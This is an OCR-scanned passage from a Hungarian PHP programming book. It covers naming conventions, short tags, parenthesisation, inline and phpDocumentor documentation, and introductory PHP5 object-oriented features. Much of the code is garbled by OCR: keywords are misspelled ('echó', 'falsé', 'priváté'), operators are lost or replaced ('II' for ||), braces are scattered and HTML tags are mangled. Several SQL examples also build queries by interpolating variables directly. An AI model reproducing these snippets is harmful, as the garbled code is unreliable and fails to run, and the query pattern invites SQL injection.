Ebben az esetben egy osztály használata túlzás lenne. Ha nem szeretnénk globális változót alkalmazni, helyettesítsük egy elérő függvénnyel, ami statikus változóként a globális tömböt kapja:

function
{

us_states() ... , 'Wyoming');

static $us_states = array('Alabama', return $us_states;
}

Ennek a megoldásnak az is előnye, hogy a forrástömb nem módosuló (immutable) lesz, mintha a de fi ne kulcsszóval állítottuk volna be.

18

PHP fejlesztés felsőfokon

Hosszú életű változók
A hosszú életű változóknak adjunk rövid, de leíró jellegű neveket. Az ilyen nevek növelik az olvashatóságot, és megkönnyítik a változók nyomon követését. A hosszú életű változók nem szükségszerűen globálisak, nem is feltétlenül a fő hatókörhöz tartoznak; egyszerűen olyan változók, amelyeket jelentős hosszúságú kódban használunk, illetve amelyek ábrázolását nem árt tisztábbá tenni. A következő példában a beszédes változónevek segítenek leírni a kód célját és viselkedését: function clean_cache($expiration_time) { global $CACHE_PATH; $cachefiles = list_cache(); foreach($cachefiles as $cachefile) { if(filemtime($CACHE_PATH." / " .$cachefile) $expiration_time) { unlink($CACHE_PATH." / " .$cachefile);
} } }

> time()

+

Ideiglenes változók
Az ideiglenes változók neve legyen rövid és tömör. Mivel ilyen változókat általában csak kisebb kódblokkokban találunk, nem kell, hogy a nevük magyarázó jellegű legyen. Ez különösen a ciklusváltozókra igaz; ezeknek célszerű mindig az i, j, k, 1, m és n neveket adni. Vegyük az alábbi példát: $number_of_parent_indices = count($parent); for($parent_index=0; $parent_index <$number_of_parent_indices; $parent_index++) { $number_of_child_indices = count($parent[$parent_index]); for($child_index = 0; $child_index < $number_of_child_indices; $child_index++) { my_function($parent[$parent_index][$child_index]);
} }

Most hasonlítsuk össze ezzel: $pcount = count($parent); f or ( $ i = 0; $i < $pcount; $i + + ) { $ccount = count($parent[$i ]); f or ( $ j = 0; $j < $ccount; $ j + + ) { my_function($parent[$i] [$j] ) ;
} }

1. fejezet • Kódolási stílusok

19

Még jobb, ha ezt használjuk: foreach($parent as $child) { foreach($child as $element) my_function($element);
} }

{

Több szóból álló nevek
A többszavas változónevek szavainak elválasztására kétféle megközelítés létezik. Vannak, akik a nagy- és kisbetűk keverését részesítik előnyben; ez az úgynevezett „teve" jelölés: $numElements = count($elements); A másik megoldás az aláhúzások használata szóelválasztóként: $num_elements = count($elements); Én a másodikat szeretem jobban a változók és függvények nevében, mégpedig a következők miatt: • A kis- és nagybetűk már jelentéssel bírnak (valódi globális változók és állandók). Ahhoz, hogy a szóelválasztás következetes legyen, olyan többszavas neveket kellene használnunk, mint a $CACHEDIR vagy a $PROFANITYMACROSET. • Számos adatbázis nem különbözteti meg a kis- és nagybetűket a sémaobjektumok neveiben. Ha a változóneveket adatbázis-oszlopok neveihez szeretnénk rendelni, az adatbázisban ugyanazzal az összefűzési problémával találjuk magunkat szemben, mint a globális neveknél. • Én személyesen könnyebben olvashatónak találom az aláhúzással elválasztott neveket. • A nem angol anyanyelvű programozók könnyebben megtalálják a szótárban a szavakat, ha azokat aláhúzással világosan elválasztjuk.

Függvénynevek
A függvényneveket ugyanúgy kell kezelni, mint az egyszerű változóneveket. Legyenek csupa kisbetűsek, és a több szóból álló nevekben a szavakat válasszuk el aláhúzásjelekkel. Emellett érdemes a kapcsos zárójeleknek a függvények bevezetésére érvényes klasszikus K&R stílusát követni, ahol a zárójeleket a function kulcsszó alá igazítjuk. (Ami különbözik a feltételes utasítások K&R stílusától.) íme egy példa a klasszikus K&R stílusra: function print_hello($name)
{

echó "Hello $name";
}

20

PHP fejlesztés felsőfokon

Használjunk beszédes neveket!

Bármilyen nyelven is írunk egy kódot, annak érthetőnek kell lennie mások számára. A függvények, osztályok és változók nevének tükröznie kell feladatukat. Ha egy függvénynek a valami () vagy a csinál () nevet adjuk, semmivel sem tesszük olvashatóbbá a kódot, ráadásul a program nehezebben módosítható és „amatőr" kinézetű lesz.

Osztálynevek
A Sun hivatalos Java stílus-útmutatója (lásd a További olvasmányok részt a fejezet végén) szerint az osztályneveknek az alábbi szabályokat kell követniük: • Az osztályok neve kezdődjön nagybetűvel, így első látásra megkülönböztethetők a tagok nevétől. • A beágyazott névterek utánzásához használjunk aláhúzásokat. • A többszavas osztálynevek szavait fűzzük össze, és minden szó nagybetűvel kezdődjön („teve" jelölés). íme két, a fenti szabályoknak megfelelő osztálydeklaráció: class XML_RSS {} class Text_PrettyPrinter {}

Tagfüggvénynevek
A Java stílus szerint a több szóból álló tagfüggvény- vagy metódusnevekben összefűzzük a szavakat, és az elsőt kivéve minden szót nagybetűvel kezdünk. Nézzünk erre is egy példát:
class XML_RSS { function startHandler() {} }

Az elnevezések következetessége
Az azonos célt szolgáló változók neve is legyen egyforma. Az alábbihoz hasonló kód jelentős tudathasadást mutat: $num_elements = count($elements); $objects_cnt = count($objects);

1. fejezet • Kódolási stílusok

21

Ha ragaszkodunk egy elnevezési rendszerhez, kevésbé lesz szükség a kód átfésülésére, hogy meggyőződhessünk arról, hogy a megfelelő változónevet használtuk. A szabványosítást többek között még a következő minősítők segíthetik: $max_e1ement s; $min_elements; $sum_elements; $prev_item; $curr_item; $next_item;

A változónevek és sémanevek egyeztetése
Az adatbázisrekordokhoz kapcsolódó változóneveknek mindig igazodniuk kell az oszlopnevekhez. Lássunk egy példát, amelyben helyes változó-elnevezési stílust követtünk, így minden változónév pontosan megegyezik a megfelelő oszlopnéwel: $query = "SELECT firstname, lastname, employee_id FROM employees"; $results = mysql_query($query); while(list($firstname, $lastname, $employee_id) = mysql_fetch_row($results)) {

// . . .
}

Más, esetleg rövidített nevek használata zavaró és félrevezető lehet, ami megnehezíti a kód későbbi módosítását. Az általam valaha látott talán legzavaróbb változónevek egy olyan kódblokkban bukkantak fel, ami egy termékrendelési adatbázison végzett műveleteket. Az egyik ilyen művelet része volt két oszlop értékének felcserélése. A helyes megközelítés ez lett volna: $first_query = "SELECT a , b FROM subscriptions WHERE subscription_id = $subscription_id"; $results = mysql_query($first_query); l i st ($ a , $b) = mysql_fetch_row($results); // a szükséges műveletek elvégzése $new_a = $b; $new_b = $a; $second_query = "UPDATE subscriptions SET a = ' $new_a ' , B = '$new_b' WHERE subscription_id = $subscription_id" ; mysql_query($second_query);

22

PHP fejlesztés felsőfokon

Ehelyett a fejlesztők amellett döntöttek, hogy a $a és $b változókat fordított sorrendben választják ki, hogy az oszlopértékek és a változónevek illeszkedjenek az UPDATE-ben: $first_query = "SELECT a , b FROM subscriptions WHERE subscription_id = $subscription_id"; $results = mysql_query( $ f irst_query); l i s t ($ b, .$a) = mysql_fetch_row($results); // a szükséges műveletek elvégzése $second_query = "UPDATE subscriptions SET a = '$a' , B = ' $ b' WHERE subscription_id = $subscription_id"; mysql_query($second_query); Mondanunk sem kell, hogy miután az eredeti SELECT és a záró UPDATE között mintegy száz sornyi kód szerepelt, a program folyása kifejezetten zavaros volt.

A zavaros kódok elkerülése
Többé-kevésbé minden, amit eddig a fejezetben tárgyaltunk, a zavaros kód elkerüléséről szólt. Ha egy nagy projektben egy adott kódolási stílust követünk, egységessé tehetjük a kódrészeket, így ha a munkához új fejlesztő csatlakozik és a kódra pillant, annak logika ja világos lesz, és tudni fogja, milyen stílushoz kell igazodnia. Az elrendezésre és elnevezésre vonatkozó szabályok betartása mellett azonban egyéb lépéseket is tehetünk, hogy elkerüljük a kód zavarossá válását - ezekről ejtünk szót az alábbiakban.

Rövid címkék
A PHP megengedi az úgynevezett rövid címkék (short tag) használatát, valahogy így:
<?

echó "Hello $username"; ?> Mindazonáltal jobb, ha soha nem élünk ezzel a lehetőséggel: a rövid címkék értelmezése a szokványos XML dokumentumok helyben (inline) történő kiírását lehetetlenné teszi, mert a PHP ezt a fejlécet blokként értelmezi, és megkísérli végrehajtani: <?xml version="l.0" ?> Ehelyett alkalmazzunk inkább ehhez hasonló hosszú címkéket:
<?php echó "Hello $username"; ? >

1. fejezet • Kódolási stílusok

23

HTML készítése echo-val
A PHP szépségei között kiemelt helyen szerepel, hogy lehetővé teszi HTML beágyazását a PHP kódba, és viszont. Ezt a képességet érdemes kihasználnunk. Vessünk egy pillantást a következő kódrészletre, amely egy táblázatot épít fel: Hello <?= $username ?> <?php echó "<table>"; echó "<tr><td>Name</tdxtd>Position</tdx/tr>" ; foreach ($employees as $employee) {
echó

"<trxtd>$employee [name] </tdxtd>$employee [position] </tdx/tr>" ;
}

echó "</table>"; ?> Hasonlítsuk ezt össze az alábbival: <table> <tr><td>Name</tdxtd>Position</tdx/tr> <?php foreach ($employees as $employee) { ?> <trxtd><? echó $employee [ ' name ' ] ?x/tdxtd><? echó $employee [ 'position' ] ?x/tdx/tr> <?php } ?> </table> A második kódtöredék tisztább, és nem teszi zavarossá a HTML kódot az echó felesleges használatával. Emellett meg kell jegyeznünk, hogy a <?php echó ?>-val egyenértékű <?= ?> jelölés rövid címkék (short_tags) használatát igényli, amit több okból kifolyólag is kerülnünk kell.

print vagy echó?

Aprint és az echó egymással felcserélhető, vagyis az értelmezőmotor nem tesz különbséget köztük. Tegyük le voksunkat az egyik mellett, és következetesen ragaszkodjunk hozzá mindenütt, hogy a kódot világosabbá tegyük.

Következetes zárójelezés
A kódot zárójelezéssel is egyértelműbbé tehetjük. írhatunk például ilyesmit: if($month == 'february') { if($year % 4 == 0 && $year % 100 II $year % 400 == 0) $days_in_month = 29;
}

{

24

PHP fejlesztés felsőfokon

else { $days_in_month = 28;
} }

Ez azonban az olvasót arra kényszeríti, hogy emlékezzen a műveletek kiértékelési sorrendjére, hogy megértse a kifejezés kiszámításának menetét. Az alábbi példában zárójelezéssel képi megerősítést adtunk a kiértékelési sorrendnek, így a logika könnyen követhető: if($month == 'february') { i f( ( ( $ ye a r % 4 == 0 )&& ($year % 1 0 0 ) ) $days_in_month = 2 9;
}

II ($year % 400 ==0)) {

else { $days_in_month = 28;
} }

Természetesen a zárójelek használatát sem szabad túlzásba vinni. Pillantsunk a következő kódra: if($month == 'february1) { i f ( ( ( ( $ ye a r % 4) == 0 )&& ( ($year % 100) != 0)) II (($year % 400) == 0 )) { $days_in_month = 29 ;
}

else { $days_in_month = 28;
} }

A zárójelek itt „agyonnyomják" a kifejezést, így a kód célja éppolyan nehezen kideríthető, mint a kizárólag a műveletek kiértékelési sorrendjére épülő kódé.

Dokumentáció
A dokumentáció elemi része a minőségi kódnak. Bár egy jól megírt kód nagyrészt önmagáért beszél, a programozóknak attól még el kell olvasniuk, hogy megérthessék működését. Az én cégemnél az ügyfelek részére készített programokat addig nem tekintjük befejezettnek, amíg teljes külső alkalmazás-programozási felületüket (API) és az esetleges belső sajátosságokat nem dokumentáltuk kielégítően.

1. fejezet • Kódolási stílusok

25

A dokumentáció két fő kategóriára osztható: • soron belüli megjegyzésekre, amelyek a kód logikájának folyását magyarázzák, és főként azok számára készülnek, akik módosítják vagy kiegészítik a kódot, illetve hibát keresnek benne; és • az API dokumentációra, amelynek célcsoportját azok a felhasználók jelentik, akik egy adott függvényt vagy osztályt anélkül szeretnének felhasználni, hogy magát a kódot elolvasnák. A következőkben ezt a két dokumentációtípust vesszük górcső alá.

Soron belüli megjegyzések
A PHP a soron belüli (inline) megjegyzések három fajtáját támogatja: • C stílusú megjegyzések - Minden, ami / * és * / jelek között található, megjegyzésnek számít. íme egy példa az ilyen megjegyzésekre: /* Ez egy C stílusú megjegyzés

* (folytatás) */
• C+ + stílusú megjegyzések - Azok a sorok számítanak megjegyzésnek, amelyek a / / jelekkel kezdődnek. Lássunk erre is egy példát: // Ez egy C++ stílusú megjegyzés • Héj/Perl stílusú megjegyzések - A megjegyzéseket a # jel vezeti be. Egy példa:
# Ez egy héj stílusú megjegyzés

A gyakorlatban én soha nem használok héj/Perl stílusú megjegyzéseket. A C stílusúakat a nagyobb megjegyzésblokkokra tartom fenn, míg az egysoros megjegyzéseket C++ stílusban írom. A megjegyzések célja minden esetben az kell, hogy legyen, hogy világosabbá tegye a kódot, íme egy klasszikus példa az értelmetlen megjegyzésre: // i növelése
i++;

Ez a megjegyzés csupán megismétli, amit maga a művelet is leír (és aminek a kód minden olvasója számára világosnak kell lennie), de semmilyen utalást nem tesz arra, hogy miért is hajtjuk végre a műveletet. Az ilyen értelmetlen megjegyzések csak zavaróak egy programban.

26

PHP fejlesztés felsőfokon

Az alábbi példában a megjegyzés már értékes:
//A bitenkénti AND művelettel megnézzük, hogy a $i első bitjét // beállították-e, hogy megállapítsuk, $i páros vagy páratlan if ($i & 1) { return true; }

A megjegyzés világossá teszi, hogy az első bit beállítását ellenőrizzük, hogy megállapítsuk, a szám páratlan-e.

API dokumentáció
Egy API dokumentálása egy külső felhasználó számára jelentősen különbözik a kód belső dokumentálásától. Az API dokumentáció célja, hogy a fejlesztőknek egyáltalán ne kelljen a kódba tekinteniük ahhoz, hogy megértsék, hogyan kell használni. Az ilyen dokumentáció létfontosságú az egyes termékek részeként terjesztett PHP könyvtárak esetében, és igen hasznos lehet az olyan könyvtárak dokumentálásánál is, amelyeket egy fejlesztőcsapat belsőleg használ. Az API dokumentáció alapvetően három célt szolgál: • Bevezet a csomag vagy könyvtár használatába, hogy a végfelhasználók gyorsan eldönthessék, szükség van-e rá feladatuk elvégzéséhez. • Felsorolja valamennyi nyilvános osztályt és függvényt, és leírja mind a kimeneti, mind a bemeneti paramétereket. • Oktatóanyagot vagy használati példákat nyújt, hogy pontosan megmutassa, hogyan kell használni a kódot. A fentiek mellett gyakran célszerű az alábbiakat is biztosítani a végfelhasználóknak: • a védett tagfüggvények dokumentációja, • példák, amelyek bemutatják, hogyan egészíthetők ki az osztályok új képességekkel. Végezetül, egy API dokumentációs rendszernek a következőket is biztosítania kell a fejlesztő számára, aki a dokumentálandó kódot írja: • A dokumentációnak a kódsorokon belül kell lennie. így könnyebb a dokumentációt naprakészen tartani, és mindig kéznél van. • A dokumentáció nyelvezetének egyszerűnek és tömörnek kell lennie. Dokumentációt írni ritkán szórakoztató, így minél egyszerűbb a szöveg, annál biztosabb, hogy a végére érünk. • Léteznie kell valamilyen megoldásnak a dokumentáció szépen formázott, könnyen olvasható formában történő kiíratására.

1, fejezet • Kódolási stílusok

27

Az API dokumentáció kezelésére saját rendszert is építhetünk, de felhasználhatunk már létező csomagot is. E kötet egyik visszatérő témája, hogy megtanuljunk jó döntéseket hozni. A soron belüli dokumentáció esetében a phpDocumentor kiváló eszköz, ami minden igényünket kielégíti, vagyis nincs igazán szükség rá, hogy máshol keresgéljünk. A phpDocumentor ihletője nagyrészt a JavaDoc, a Java automatikus dokumentálórendszere volt.
A phpDocumentor használata

A phpDocumentor úgy működik, hogy különleges formájú megjegyzéseket keres. Valamennyi megjegyzésblokk így néz ki:

A Short Description (rövid leírás) a blokk által leírt elem rövid (egysoros) összegzése, a Long Description (hosszú leírás) pedig egy tetszőlegesen szószátyár szövegblokk. Az utóbbi megengedi a megjegyzésekben a HTML használatát formázási célokra. A tags (címkék) a phpDocumentor címkéinek listája. Ezek közül álljon itt néhány fontosabb:

A dokumentációt úgy kezdjük, hogy létrehozunk egy fejlécblokkot a fájlnak: //**
* Ez egy lapösszegző blokk * * Ez egy hosszabb leírás, ahol * részletesebb információkat adhatunk. * @package Primes * Sauthor George Schlossnagle */

Ennek a blokknak kell elmagyaráznia, mire is használjuk az állományt, a @package értékét pedig a fájlra kell állítania. Hacsak felül nem bírálja egy osztály vagy függvény, a ©package értékét a fájlban minden más phpDocumentor blokk örökölni fogja.

28

PHP fejlesztés felsőfokon

Ezután leírást készítünk egy függvényhez. A phpDocumentor megteszi, ami tőle telik, de szüksége van némi segítségre. A függvényeket és osztályokat dokumentáló megjegyzéseket közvetlenül a függvény vagy osztály bevezetése előtt kell elhelyezni, másképp valamennyi közbeeső kódra érvényesek lesznek. Megfigyelhetjük, hogy az alábbi példában a ©páram is szerepel, ami meghatározza a függvény egyetlen bemenő paraméterét, valamint a Sreturn, ami a visszatérési értéket írja le:
I ** * Determines whether a number is prime (stupidly) * Determines whether a number is prime or not in about the slowest way possible. <code> for($i=0; $i<100; $i++) { if(is_prime($i)) { echó "$i is prime\n"; } * } * </code> * @param integer * ©return boolean true if prime, falsé elsewise */ function is_prime($num) { for($i=2; $i<= (int)sqrt($num); $i++) { if($num % $i == 0) { return falsé; } } return true; } ?> * * * * * *

Ez elég sok munkának tűnik, de lássuk, milyen eredménnyel jár. Futtassuk a phpDocumentor-t az alábbi utasítással: phpdoc -f Primes.php -o HTML:frames:phpedit -t /Users/george/docs Az eredményt az 1.3 ábra mutatja.

1. fejezet • Kódolási stílusok

29

1.3 ábra

A phpdoc kimenete a primes.php esetében. Hogy lássunk egy némileg bonyolultabb példát, nézzük meg az alábbi egyszerű Employee osztályt:
<?php
I -k-k

* A simple class describing employees * * @package Employee * @author George Schlossnagle */ /** * An example of documenting a class */ class Employee { * @var string */ var $name; / **

30

PHP fejlesztés felsőfokon

* The employees annual salary * @var number */ var $salary; /* * * (ivar number */ var $employee_id; / * * * The class constructor * @param number */ function Employee($employee_id = falsé) { if($employee_id) { $this->employee_id = $employee_id; $this->_fetchInfo(); } }

* Fetches info for employee * * @access priváté */ function _fetchlnfo() { $query = "SELECT name, salary FROM employees WHERE employee_id = $this->employee_id"; $result = mysql_query($query); list($this->name, $this->department_id) = mysql_fetch_row($result); } / * * * Returns the monthly salary for the employee * Üreturns number Monthly salary in dollars */ function monthlySalary() { return $this->salary/12; } } ?>

1. fejezet • Kódolási stílusok

31

Észrevehetjük, hogy a _f etchlnf o elérése (@access) privát, ami azt jelenti, hogy a phpdoc nem fog foglalkozni vele. Az 1.4 ábra bizonyítja, hogy kis erőfeszítéssel könnyen profi dokumentációt állíthatunk elő.

1.4 ábra

A phpdoc kimenete az Employee esetében.

További olvasmányok
A phpDocumentor-ról többet is megtudhatunk, ha ellátogatunk a projekt www. phpdoc. org címen található honlapjára. Itt a program elérhetőségéről és telepítéséről is tájékozódhatunk. A Java stílus-útmutató mindenki számára érdekes olvasmány lehet, aki valamilyen kódolási szabvány létrehozásán gondolkodik. A hivatalos útmutató a Sun-tól, a következő címen szerezhető be: http://java.sun.com/docs/codeconv/html/CodeConvTOC.doc.html

Objektumközpontű programozás tervezési minták segítségével
A PHP5 által hozott legnagyobb és leginkább ünnepelt változás az objektummodell teljes átdolgozása, illetve a szabványos objektumközpontú (objektum-orientált, OO) megoldások jócskán feljavított támogatása volt. Kötetünknek nem tárgya az objektumközpontú programozás, és a tervezési minták sem állnak érdeklődésünk homlokterében; mindkét témáról számos kitűnő könyv született már. (A fejezet végén érdemes átböngészni az ajánlott olvasmányok listáját.) E fejezet csupán néhány általánosan használt tervezési minta, illetve a PHP5 objektumközpontú szolgáltatásainak áttekintése. Némileg ellentétes érzéseim vannak a PHP nyelvű OO programozással kapcsolatban. Az objektumközpontú megoldások számos feladatnál olyanok, mintha ágyúval lőnénk verébre; az általuk nyújtott elvonatkoztatási szint egyszerű feladatokhoz szükségtelen. Mindazonáltal minél bonyolultabb a rendszer, annál ésszerűbbnek tűnik az objektumközpontú eljárások használata. Magam is dolgoztam nagyobb rendszereken, amelyeknél előnyösnek bizonyult az objektumközpontúság nyújtotta moduláris felépítés. Ez a fejezet a PHP-ben ma elérhető haladó szintű OO szolgáltatásokat mutatja be. Az itt kidolgozott példák némelyikét a könyv többi részében is gyakran elővesszük, és remélhetőleg hasznosnak bizonyulnak annak bemutatásában, hogy egyes problémáknál előnyt jelent az objektumközpontú megközelítés. Az OO programozás hangsúly-eltolódást jelent az eljárásközpontú programozáshoz (procedurális programozáshoz) képest, ami a PHP programozás hagyományos módjának számít. Az eljárásközpontú programokban adatokat tárolunk változókban, ezeket függvényeknek adjuk át, amelyek műveleteket végeznek velük, és módosítják azokat vagy új

34

PHP fejlesztés felsőfokon

adatokat hoznak létre. Az eljárásközpontú programok hagyományosan utasítások listájából állnak, amelyeken a végrehajtás sorban, vezérlési szerkezetek, függvények stb. segítségével halad. Az alábbi is ilyen kód:
<?php

function hello($name)
{

return "Hello $name!\n"; } function goodbye($name) { return "Goodbye $name!\n"; } function age($birthday) { $ts = strtotime($birthday); if($ts === -1) { return "Unknown"; } else { $diff = time() - $ts; return floor($diff/(24*60*60*365)) ; } } $name = "george"; $bday = "10 Oct 1973"; echó hello($name); echó "You are ".age($bday)." years old.\n"; echó goodbye($name); ? >

Bevezetés az objektumközpontú programozásba
Fontos megjegyezni, hogy az eljárásközpontú programozásban a függvények és az adatok elkülönülnek egymástól. Az OO programozásban azonban az adatokat és az azokon műveleteket végző függvényeket objektumokban fogjuk össze. Az objektumok adatokat és műveleteket végrehajtó függvényeket is tartalmaznak; az előbbieket tulajdonságoknak (jellemzőknek, attribútumoknak), az utóbbiakat tagfüggvényeknek (metódusoknak) hívjuk. Az objektumot azon osztály határozza meg, amelynek az objektum példánya. Az osztály megadja az objektum tulajdonságait, illetve a felhasznált tagfüggvényeket. Objektumot egy osztály példányosításával hozhatunk létre. A példányosítás során létrehozzuk az új objektumot, kezdőértéket adunk minden tulajdonságának („inicializáljuk"), és meghívjuk a konstruktőrét (létrehozó függvényét), ami elvégzi az elkészítéshez szükséges műveleteket. Az osztálykonstruktoroknak a PHP5-ben a - -construct () nevet kell adnunk, hogy

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

35

a motor képes legyen azonosítani őket. A következő példában egy User nevű egyszerű osztályt hozunk létre, példányosítjuk, és meghívjuk két tagfüggvényét: <?php class User { public $name; public $birthday; public function ______construct($name, $birthday) $this->name = $name; $this->birthday = $birthday; public function hello() return "Hello $this->name!\n"; public function goodbye() return "Goodbye $this->name!\n"; public function age() { $ts = strtotime($this->birthday); i f ( $ t s === -1) { return "Unknown"; } else { $diff = timeO - $ts; return floor($diff/( 2 4 * 60 * 6 0 * 36 5 ) )
} } }

;

$user echó echó echó
?>

= new User('george', '10 Oct 1 9 7 3 ' ) ; $user->hello(); "You are ".$user->age()." years old.\n"; $user->goodbye();

Ha 2003. október 10. előtt futtatjuk a fenti programot, ez jelenik meg a képernyőn: Hello george! You are 29 years old. Goodbye george!

36

PHP fejlesztés felsőfokon

A példában szereplő konstruktőr igen egyszerű; csupán két tulajdonságot állít be, a nevet (name) és a születésnapot (birthday). A tagfüggvények ugyancsak egyszerűek. Megfigyelhetjük, hogy a User objektumot képviselő $this automatikusan létrejön az osztálymetódusokon belül. A tulajdonságok és tagfüggvények elérésére a -> jelölést használjuk. A felszínen az objektumok nagyjából úgy festenek, mint egy társításos tömb (asszociatív tömb), amihez rajta műveleteket végző függvények gyűjteménye tartozik. Ugyanakkor rendelkeznek néhány további fontos tulajdonsággal, mégpedig a következőkkel: • Öröklés - Az öröklés annak képessége, hogy már meglevő osztályokból új osztályokat származtathatunk, és örökölhetjük vagy felülírhatjuk azok tulajdonságait és tagfüggvényeit. • Egységbe zárás - Az egységbe zárás (betokozás, enkapszuláció) annak képessége, hogy elrejthetjük az adatokat az osztály felhasználói elől. • Különleges tagfüggvények - Amint a fejezetben korábban már láthattuk, az osztályok konstruktorokkal végeztetik el az új objektumok létrehozásához kapcsolódó feladatokat (például a tulajdonságok kezdőértékkel való ellátását). Az osztályoknak emellett más automatikusan meghívódó műveleteik is vannak, amelyek a szokványos eseményeknél (másolás, megsemmisítés stb.) hívódnak meg. • Többalakúság - Amikor két osztály ugyanazokat a külső tagfüggvényeket valósítja meg, felcserélhetőnek kell lenniük a függvényekben. A többalakúság (polimorfizmus) tökéletes megértése azonban több ismeretet kíván, mint amivel jelenleg rendelkezünk, ezért a téma tárgyalását a fejezetben későbbre halasztjuk.

Öröklés
Amikor olyan új osztályt szeretnénk létrehozni, ami egy meglevő osztályhoz hasonló tulajdonságokkal vagy viselkedéssel rendelkezik, öröklést alkalmazunk. A PHP ezt azzal támogatja, hogy lehetővé teszi egy osztály számára, hogy kibővítsen egy létező osztályt. Amikor egy osztályt bővítünk, az új osztály a szülő valamennyi tulajdonságát és tagfüggvényét örökli (néhány kivétellel, amiket a fejezetben később részletezünk). Ezután hozzáadhatunk új tagfüggvényeket és tulajdonságokat, de felülírhatjuk a meglevőket is. Az öröklési kapcsolatokat az extends kulcsszóval jelezzük. A User (Felhasználó) bővítésével készítsünk most egy új osztályt, amely a felügyeleti jogkörrel rendelkező felhasználókat jelöli. Az osztályt azzal bővítjük, hogy kikeressük a felhasználó jelszavát egy NDBM állományból, és egy összehasonlító függvényt biztosítunk, amellyel összevetjük a jelszót a felhasználó által megadottal: class AdminUser extends User{ public $password; public function _____ construct($name, $birthday)
{

parent::__ construct($name, $birthday); $db = dba_popen("/data/etc/auth.pw", "r", "ndbm");

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

37

$this->password = dba_fetch($db, $name); dba_close($db);
}

public function authenticate($suppliedPassword)
{

if($this->password === $suppliedPassword) return true; } else { return falsé;
} } }

{

Az AdminUser meglehetősen rövid, mégis örökli a User valamennyi tagfüggvényét, így a hello (), a goodbye () és az age () is használható. Megfigyelhetjük, hogy a szülő konstruktőrét parent: :_____ construct () formában magunknak kell meghívnunk; ezeket a PHP5 nem hívja meg automatikusan. A szülőosztály eléréséhez a parent kulcsszót kell alkalmaznunk.

Egységbe zárás
Azok számára, akik korábban valamilyen eljárásközpontú nyelven vagy a PHP4-ben programoztak, furcsa lehet a nyilvánosság fogalma. A PHP 5-ös változata ugyanis a nyilvános, védett és privát adattulajdonságok és tagfüggvények bevezetésével adatrejtési képességeket ad a nyelvhez. Ezekre általában a PPP néven hivatkoznak (angolul sorrendben public, protected, priváté), szabványos jelentésük pedig a következő: • Nyilvános - A nyilvános változókat és tagfüggvényeket az osztályt felhasználó bármilyen kód közvetlenül elérheti. • Védett - A védett változók és tagfüggvények nem érhetők el közvetlenül az osztály felhasználói által, csak egy, az osztálytól öröklő alosztályon belül. • Privát - A privát változók és tagfüggvények csak azon az osztályon belül hozzáférhetők, amelyben meghatározták őket. Ez azt jelenti, hogy az osztályt bővítő gyermekekből nem hívhatók meg. Az egységbe zárás révén nyilvános felületet határozhatunk meg, amely szabályozza, hogy a „felhasználók" hogyan léphetnek kapcsolatba az osztállyal. A nem nyilvános tagfüggvényeket módosíthatjuk vagy újraépíthetjük (refaktorizáció), anélkül, hogy attól kellene tartanunk, hogy megsértjük az osztálytól függő kódot. A privát tagfüggvények büntetlenül újraépíthetők, a védett tagfüggvények újraépítése azonban nagyobb odafigyelést kíván, hogy meg ne sértsük az osztályok származtatott osztályait. Az egységbe zárás nem feltétlenül szükséges a PHP-ben (ha kihagyjuk, a tagfüggvények és tulajdonságok automatikusan nyilvánosak lesznek), de amikor csak lehet, célszerű alkalmazni. Ha csapatban dolgozunk - de még ha egyedüli programozóként is -, különö-

38

PHP fejlesztés felsőfokon

sen nagy a kísértés, hogy kikerüljük egy objektum nyilvános felületét, és belsőnek feltételezett tagfüggvények használatával rövidítsük le az utat. Ez hamar karbantarthatatlan kódhoz vezethet, mert egy kényszerűen következetes, egyszerű nyilvános felület helyett az osztálynak olyan tagfüggvényeit alkalmazzuk, amelyeket félünk újraépíteni, nehogy hibát okozzunk egy osztályban, amely használja őket. A PPP alkalmazásával mindez elkerülhető: biztosíthatjuk, hogy a külső programok csak a nyilvános tagfüggvényeket használják, és nem érzünk kísértést a kanyar kiegyenesítésére.

Statikus tulajdonságok és tagfüggvények
A PHP-ben a tagfüggvényeket és tulajdonságokat statikusként is bevezethetjük. A statikus tagfüggvények egy osztályhoz kötődnek, nem pedig annak egy példányához (vagyis egy objektumhoz), ezért osztálymetódusoknak is nevezik őket. Meghívásuk az OsztályNév: : tagfüggvény() formában történik. A statikus tagfüggvényekben a $this nem érhető el. A statikus tulajdonságok (osztálytulajdonságok) az osztályhoz, és nem annak egy példányához kapcsolódó osztályváltozók. Ez azt jelenti, hogy módosításuk hatással van az osztály valamennyi példányára. A statikus tulajdonságokat a static kulcsszóval vezetjük be, és az OsztályNév: : $ tulaj'donság formában érjük el. Az alábbi példából kiderül, hogyan is működnek: class TestClass { public static $counter;
}

$counter = TestClass::$counter; Ha egy statikus tulajdonsághoz egy osztályon belül kell hozzáférnünk, a self és a parent varázsszavakat is használhatjuk, amelyek az aktuális osztályra, illetve annak szülőjére mutatnak. Alkalmazásukkal elkerülhető, hogy kifejezetten, név szerint kelljen hivatkoznunk az osztályra. Az alábbiakban egy egyszerű példát mutatunk be, amely egy statikus tulajdonság segítségével rendel egy egész számból álló egyedi azonosítót (ID) az osztály minden példányához: class TestClass { public static $counter = 0; public $id; public function______ construct ()
{

$this->id = self::$counter++; } }

2. fejezet • Objektumközpontú programozás tervezési minták segítségével

39

Különleges tagfüggvények
A PHP osztályai bizonyos tagfüggvényneveket különleges visszahívható (callback) függvények számára tartanak fenn, amelyek bizonyos eseményeket kezelnek. Már ismerjük a___construct () -ot, amelynek hívására az objektumok példányosításakor automatikusan sor kerül. Az osztályok ezen kívül öt további ilyen függvényt használnak. A_____ get (), a___set () és a_____call () az osztálytulajdonságok és -metódusok hívásának módját szabályozzák; velük a fejezetben később foglalkozunk. A másik két függvény a__ destruct () és a______ clone (). A__ destruct () az objektumok megsemmisítéséért felelős visszahívható függvény. A destruktorok (megsemmisítő függvények) az osztályok által használt erőforrások (például fájlleírók vagy adatbázis-kapcsolatok) felszabadítására használatosak. A PHP a változók esetében hivatkozásszámlálást alkalmaz. Amikor a számláló értéke nullára esik, a szemétgyűjtő eltávolítja a változót a rendszerből. Ha az adott változó egy objektum, annak __ destruct () tagfüggvénye hívódik meg. Az alábbi kisméretű burkoló, amely a PHP fájlkezelő segédprogramjait csomagolja be, bemutatja a destruktorok működését:
class 10 { public $fh = falsé; public function __ construct($filename, $flags) í $this->fh = fopen($filename, $flags); } public function __ destruct() { if($this->fh) { fclose($this->fh); } } public function read($length) { if($this->fh) { return fread($this->fh, $length); } } /* ... */ }

